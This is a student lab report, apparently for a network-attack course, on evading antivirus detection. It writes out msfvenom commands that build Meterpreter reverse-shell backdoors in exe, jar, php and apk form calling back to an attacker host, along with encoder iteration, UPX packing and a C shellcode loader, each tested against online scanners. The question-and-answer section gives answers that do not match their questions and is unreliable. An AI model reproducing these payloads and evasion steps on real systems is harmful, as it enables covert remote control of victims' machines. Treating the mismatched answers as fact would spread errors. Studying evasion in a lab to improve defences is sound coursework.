2019-2020-2 20175227张雪莹《网络对抗技术》
Exp3 免杀原理与实践
目录
-
0. 基础知识
-
1. 实验内容
-
1.1 方法
- 1.1.1 正确使用msf编码器
- 1.1.2 msfvenom生成如jar之类的其他文件
- 1.1.3 veil
- 1.1.4 加壳工具
- 1.1.5 使用C + shellcode编程
- 1.1.6 使用其他课堂未介绍方法
- 1.2 通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
- 1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
-
1.1 方法
-
2. 老师提问
- 2.1 杀软是如何检测出恶意代码的?
- 2.2 免杀是做什么?
- 2.3 免杀的基本方法有哪些?
- 2.4 开启杀软能绝对防止电脑中恶意代码吗?
-
3. 所遇到的问题及其解决方法
- 3.1 问题1
- 3.2 问题2
- 3.3 问题3
-
4. 实验感想
-
5. 参考资料
0. 基础知识
0.1 免杀
- 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
- 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
- 反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
0.2 恶意软件检测机制
-
基于特征码的检测
- 重要的就是,恶意软件的检测,并不是比对整个文件,
- 而只能只其中一个或几个片断作为识别依据。
- 这就是最简单的特征码,或“signature”。
-
启发式恶意软件检测
- 启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
优点:
可以检测0-day恶意软件
具有一定通用性缺点:
实时监控系统行为,开销稍多
没有基于特征码的精确度高 -
基于行为的恶意软件检测
- 从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
0.3 免杀技术(Evading AV)综述
- 改变特征码
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
1. 实验内容
1.1 方法
1.1.1 正确使用msf编码器
- 关于网站VirSCAN和Virus Total
- 是非盈利性的免费为广大网友服务的网站,它通过多种不同厂家提供的最新版本的病毒检测引擎对所上传的可疑文件进行在线扫描,并可以立刻将检测结果显示出来。
- 在kali终端中,输入
msfvenom
查看该命令的参数详情,选用msfvenom -l encoders
查看编码器情况。
- 将实验2生成的后门程序
zxy_20175227_backdoor.exe
分别上传至两个网站进行筛查,结果如下:
-
可以看出,未经过编码的后门程序很容易就给杀软监测到了。
-
下面用msf编码器对后门程序进行编码,并重新上传两个网站进行筛查:
- 在kali中进入
/usr/share/metasploit-framework/modules/payloads/stagers/windows
文件夹,用ls
查看Windows平台下的连接方式
- 在kali中进入
- 进入
/usr/share/metasploit-framework/modules/encoders/x86
文件夹,用ls
查看x86的编码方式 - 这里我们选用TCP连接方式和
shikata_ga_nai
编码方式 - 输入命令如下:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 52 -b '\x00' LHOST=<ip_of _linux> LPORT=5227 -f exe > zxyexptriBD.exe
-p 后面参数分别是:平台/软件/连接方式
-e 后面参数是:编码器类型
-b 后面参数是:减去16进制的0
-f 后面参数是:输出后门的格式(文件类型)
-i 后面参数是:编码的迭代次数
- 分别在两个网站中扫描,结果如下:
- 由此可见,多次编码对于免杀没啥效果
- 有编码就有解码在exe文件中,杀软根据这部分就可以监测到异常情况
- 如果使用默认参数或模板,也有一定的固定特征。
1.1.2 msfvenom生成如jar之类的其他文件
- 生成Java后门程序
- 在Kali中,使用
msfvenom -p java/meterpreter/reverse_tcp lhost=<ip_of_linux> lport=5227 x> zxy175227_backdoor_java.jar
,生成jar文件,上传至两个平台扫描,结果如下:
- 在Kali中,使用
- 可以看出,虽然都还是危险,但是检测成功几率有所下降。
- 生成PHP后门程序
- 使用
msfvenom -p php/meterpreter/reverse_tcp lhost=<ip_of_linux> lport=5227 x> zxy175227_backdoor.php
,生成php文件,上传至两个平台扫描,结果如下:
- 使用
-
** 竟然!两个平台检测率都超低,甚至建议我谨慎使用!**
-
生成Android后门程序
- 在Kali中,使用
msfvenom -p android/meterpreter/reverse_tcp lhost=<ip_of_linux> lport=5227 x> zxy175227_backdoor.apk
,生成apk文件(安装包形式),上传至两个平台扫描,结果如下:
- 在Kali中,使用
其中VirScan的扫描结果由“危险”转为“警告”了,检测成功几率没有jar文件高。
1.1.3 veil
1.1.4 加壳工具
- 压缩壳
- 对
zxy175227.exe
加壳,使用命令upx zxy175227.exe -o zxy175227.upxed.exe
- 测试可用性
- 对
- 将
zxy175227.upxed.exe
复制到主机,被杀软监测到,如下图:
- 将该文件信任后,上传至两个平台进行扫描,结果如下:
其中有一个网站检出率由危险转警告了。
- 加密壳
- 对
zxy175227.exe
加壳,使用命令upx zxy175227.exe -o zxy175227.upxed.exe
- 测试可用性
- 对
1.1.5 使用C + shellcode编程
- 使用命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.160.131 LPORT=5227 -f c
生成C语言下的shellcode数组,如下图:
- 创建
zxy175227.c
,代码内容如下:
unsigned char buf[] =
"shellcode数组内容"
int main()
{
int (*func)() = (int(*)())buf;
func();
}
- 使用
i686-w64-mingw32-g++ zxy175227.c -o zxy175227.exe
对c文件进行交叉编译,得到可以在Windows环境下的可执行程序zxy175227.exe
- 测试可用性
- 将其复制到主机,杀软将其查杀,如下图:
- 更改杀软设置,成功复制该文件后,上传至两个平台扫描,结果如下图:
- 扫描结果的检出率仍然很高,但不算是所有扫描中最高的。
1.1.6 使用其他课堂未介绍方法
1.2 通过组合应用各种技术实现恶意代码免杀
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
2. 老师提问
2.1 杀软是如何检测出恶意代码的?
- 回答:老师视频中也提到过,最常见的就是在第三方网站上下载一些软件安装包,这些安装包80%都是有后门的。一旦下载后安装,黑客就可以利用这些后门程序对你的系统进行恶意攻击。
2.2 免杀是做什么?
- 回答:
- win:就像此次实验中做的,创建一个cron任务,定时循环启动。
- linux:把它绑定在某个脚本文件中,脚本文件开机自动运行,反弹连接被攻击机。
2.3 免杀的基本方法有哪些?
- 回答:很可怕的就是,它可以控制你的摄像头(虽然我没有成功),这样的话我们就毫无隐私可言,一言一行全都暴露在黑客的眼睛中。
2.4 开启杀软能绝对防止电脑中恶意代码吗?
- 回答:在cmd中用netstat -na查看端口开放情况,当开的端口大于1024尤其是4000以上的时候,很有可能就被安装后门了。这时可以自己手动修改注册表,删除可疑的可执行文件进行查杀,或者使用杀软。
3. 所遇到的问题及其解决方法
3.1 问题1
-
描述:安装veil的时候出现
错误:10 http://http.kali.org/kali kali-rolling/main amd64 libmono-system-configuration4.0-cil all 6.8.0.105+dfsg-2
提示,导致安装失败 -
解决方法:之前遇到过类似问题,一直觉得是镜像源有问题,在网上搜索到较全的源信息,更新了一下
sources.list
,然后重新安装veil后成功。
3.2 问题2
-
描述:Linux监听失败,未能进入Windows Shell,如图:
-
解决办法:我猜测可能是由于主机防火墙已经将其拦截,打开拦截信息查看,果真如此,如图:
3.3 问题3
-
描述:Linux中无法执行meterpreter命令,如图:
-
解决方法:它提示我需要卸载当前
bundler
,我推测是当前该版本与kali版本不匹配。根据网上建议,我下载了bundler-1.17.3
,之后成功进行后续操作:
4. 实验感想
- 在这次实验中,我做的冷汗直流。因为之前知道黑客干些啥,但是不知道他们那么简单就能进入你的系统,对你的系统进行恶意攻击。我还经常从啥**软件网下安装包,开心地用着破解软件。殊不知自己的系统可能已经完全由别人所掌握……看来我们不光要学习这些技能,要增强自己的思想道德建设,将所学用到正道上。另外,回归正题,在做加分任务的时候,我才发现自己实验一的任务三并不太清楚实践目的,自己又花了一些时间去把它强化,应用到此次实验中,佩服江学姐的学习能力,她有清晰的思维去指导自己把这个任务完成。自己还差的很远,要继续加油啊!